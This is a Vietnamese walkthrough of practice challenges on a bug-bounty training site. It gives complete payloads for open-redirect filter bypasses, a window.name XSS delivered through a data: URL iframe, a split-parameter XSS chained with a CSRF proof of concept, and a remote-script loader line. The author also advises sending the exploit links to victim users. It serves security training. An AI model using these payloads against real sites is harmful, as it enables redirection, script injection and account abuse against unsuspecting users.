Giới thiệu chung
Để tiếp tục series về BugBountyHunter. Hôm nay ta sẽ tiếp tục làm thêm 1 vài challenges XSS mức độ medium và lỗi Open URL Redirect nhé.
1. Bug_bounty_training: You may only redirect to *.bugbountyhunter.com vs Only relative redirects are allowed!
Giới thiệu:
2 bài trên đều thuộc Open URL Redirect
và khai thác tương tự nhau nên cho vào làm 1 thể
Khai thác:
a. You may only redirect to *.bugbountyhunter.com
Link: https://www.bugbountytraining.com/challenges/challenge-7.php
Bài này họ yêu cầu mình chuyển hướng đến 1 trang khác với url phải có dạng *.bugbountyhunter.com
. Ta sẽ thử khai thác để chuyển hướng đến trang google.com
Bài này cho ta 1 đường link. Khi bấm vào thì sẽ chuyển hướng đến trang https://www.bugbountyhunter.com/
của họ.
Thử xem nguồn trang:
Trang này sử dụng 1 biến đầu vào là redirectUri
của thẻ a
để truyền url. Do không quy định phương thức truyền vào nên ta có thể truyền giá trị của biến này trên url với phương thức GET.
Để chuyển hướng url, ta thường sử dụng các ký tự: ?,/,#
. Thử lần lượt với từng cái thì chỉ có #
là không bị lọc. Khai thác với url:
https://www.bugbountytraining.com/challenges/challenge-7.php?redirectUri=https://example.com#.bugbountytraining.com/
Để bypass ta sử dụng %0a%0d
vào trước dấu #
, cặp ký hiệu %0a%0d
được sử dụng như 1 dấu xuống dòng. Ta được:
https://www.bugbountytraining.com/challenges/challenge-7.php?redirectUri=https://example.com%0a%0d#.bugbountytraining.com/
Bấm vào here
. Đường dẫn sẽ chuyển hướng đến google.com:
b. Only relative redirects are allowed!
Tương tự như bài kia. Trang này cũng cho ta 1 đường dẫn tuy nhiên không chỉ cho phép đầu vào url là dấu /. Ta có thể sử dụng đường dẫn //google.com thay cho https://google.com.
Nhập thử:
https://www.bugbountytraining.com/challenges/challenge-4.php?redirectUrl=//google.com/
Bị quay lại trang cũ, vậy là không được. Để bypass ta tiếp tục sử dụng %0a%0d chèn vào giữa //. Nhập url:
https://www.bugbountytraining.com/challenges/challenge-4.php?redirectUrl=/%0a%0d/google.com/
Bấm vào here
. Đường dẫn sẽ chuyển hướng đến google.com
Khai thác thành công
2. This strict URL filter should prevent XSS, right?
Link: https://www.bugbountytraining.com/challenges/challenge-6.php
a. Giới thiệu:
Đây 1 bài XSS mức độ medium. Ta sẽ sử dụng cả lỗi Open URL Redirect bên trên để khai thác.
b. Khai thác:
Vào trang thì ta được:
Giao diện trang cho ta bấm vào 1 đường link. Khi bấm vào sẽ thực hiện chuyển hướng đến trang chủ của bugbountyhunter. Ta sẽ bắt request bằng burpsuite xem sao:
Trang này sử dụng 1 thẻ a
để truyền url. Tại đề bài có gợi ý cho ta tham số ?url=
dễ bị tấn công. Truyền vào url 1 tham số ?url=https://www.google.com
ta được:
Vậy là giá trị href
trong thẻ a
đã bị chuyển thành https://www.google.com
. Gửi url với tham số trên lên trình duyệt và bấm vào đường link thì trang sẽ được chuyển hướng đến trang của google.com
. Như vậy ta có thể khai thác XSS tại đây. Thay tham số ?url=javascript:alert(1)
, việc sử dụng javascript:
sẽ tạo ra 1 liên kết thực thi câu lệnh javacript sau dấu :
. Nếu thành công thì khi bấm vào link sẽ bắn ra XSS:
Xem response thì tại thẻ a
phần href đã bị filter mất cặp dấu ()
nên không thể chạy javascript được. Kiểm tra thử với cái dấu khác thì bị filter mất các dấu <, >, (, ), [, ], {, }
. Như vậy thì ta không chạy lệnh khai thác trong javascript:
được. Sử dụng gợi ý người ta cho xem sao.
Gợi ý: window.name doesn't get reset even after navigation
. Hiểu đơn giản là giá trị của window.name
không bị thay đổi sau khi chuyển hướng. Như vậy ta có thể sử dụng window.name
kết hợp với javascript:
để khai thác. Ta sẽ truyền payload vào giá trị name, rồi sau đó export nó ra bằng javascript:name (khi đó javascript:name được thực thi tương tự document.write(name)). Vì không thể sử dụng các ký tự <, >, (, ), [, ], {, }
để truyền payload. Nên ta có thể sử dụng DATA URL. Data url cũng là 1 kiểu protocol tương tự như http:, https:, javascript:
cho phép ta nhúng các chuối dữ liệu vào html và css. Ví dụ: data:text/html,<script>alert('hi');</script>
:
Trang sẽ trả về thông báo hi
. Bây giờ ta sẽ truyền vào 1 khung chứa trang web cần khai thác, ta sẽ sử dụng iframe, với name sẽ chứa giá trị cần khai thác.
Ta có thể khai thác bằng nhiều thẻ khác nhau ví dụ:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
Truyền vào trong ifame chứa src là https://www.bugbountytraining.com/challenges/challenge-6.php?url=javascript:name
. Ta có đoạn khai thác đầy đủ như sau:
data:text/html,<iframe width=500px height=500px name="<img src=x onerror=alert(document.domain)>" src=https://www.bugbountytraining.com/challenges/challenge-6.php?url=javascript:name>
Cho đoạn khai thác lên url ta được:
Đây là trang web có 1 khung chứa trang web mà ta muốn khai thác. Bấm vào đường link thì sẽ bắn ra XSS;
Vậy là khai thác thành công. Ta có thể điều chỉnh width, height cho phù hợp và gửi url khai thác cho nạn nhân là được.
3. Bug_bounty_training: "I've won a bounty" generator
link: https://www.bugbountytraining.com/challenges/challenge-11.php
a. Giới thiệu:
Tiếp tục là 1 bài XSS mức độ medium. Bài này ta sẽ khai thác XSS khi bị giới hạn số lượng đầu vào.
b. Khai thác:
Vào trang thì được:
Trang này tạo 1 ứng dụng nhập vào tên và số tiền thưởng. Nhập thử vào ta được:
Bật burp suite để bắt request ta có:
Request truyền vào lần lượt 4 giá trị: username
,bountyamnt
,platform
,currency
Và trả về response tương ứng.
Ta thử khai thác cả 4 cái cùng lúc xem sao. Nhập vào:
username=<script>alert(1)</script>&bountyamnt=<script>alert(1)</script>&platform=<script>alert(1)</script>¤cy=<script>alert(1)</script>
Ta được:
Để ý biến bountyamnt
bắt buộc phải nhập vào 1 số nếu không sẽ trả về 0
. Biến username
nhập vào 1 chuỗi tuy nhiên các ký tự <>
lại bị filter. 2 biến platform
,currency
ta có thể nhập vào 1 chuỗi, đồng thời có thể thoát ra được các thẻ để chạy script. Tuy nhiên 2 biến này lại bị giới hạn số ký tự đầu ra nên không thực hiện chạy script được.
Với kiểu giới hạn ký tự. Ta thường sử dụng lệnh: <script src=14.rs>
. Đây là 1 lệnh thực hiện gọi file 14.rs
, file này cho phép ta thực thi xss. Tuy nhiên giới hạn ký tự của bài này còn ít hơn nên không chạy script này được. Vậy hiện tại ta đang có 3 biến đầu vào cho nhập tất cả các ký tự, ta sẽ kết hợp 3 biến này để tạo nên 1 khai thác xss. Ta sẽ tách mã <script>alert(1)</script>
thành 3 phần. trong đó 2 biến platform
,currency
giữ 2 thẻ script. Phần biến username
sẽ sử dụng alert(1)
. Để xóa các ký tự ở giữa ta sử dụng cặp /*
và */
. Khi đó tất cả các giá trị bên trong sẽ trở thành comment.
Nhập: username=*/alert(1)/*&bountyamnt=1&platform=*/</script>¤cy="><script>/*
Ta được:
2 biến currency
và username
đã thành công. Tuy nhiên chỉ có biến platform
bị filter dấu <
thành <
, đằng sau còn có cặp ">
thừa của value
. Ta sẽ thực hiện bypass bằng cách không đóng thẻ platform=</script "
, dấu "
sử dụng để bypass dấu "
thừa. Thử lại với: username=*/alert(1)/*&bountyamnt=1&platform=*/</script "¤cy="><script>/*
ta được:
Bypass thành công. tại request bấm chuột phải chọn show response in browser
-> Copy. Sau đó tại paste giá trị vừa copy lên url ta được:
Vậy là khai thác thành công. Tuy nhiên đây mới chỉ là self xss. Để truyền được khai thác cho user khác, ta phải sử dụng thêm csrf. Do trang này không sử dụng csrf-token nên ta hoàn toàn có thể khai thác được. Tại request vừa có bấm chuột phải -> Engagement tools -> CSRF POC. Ta có:
Đến đây ta chỉ cần copy đoạn code trên sau đó cho vào 1 trang web khai thác. Gửi url trang web cho các users mình muốn tấn công là thành công.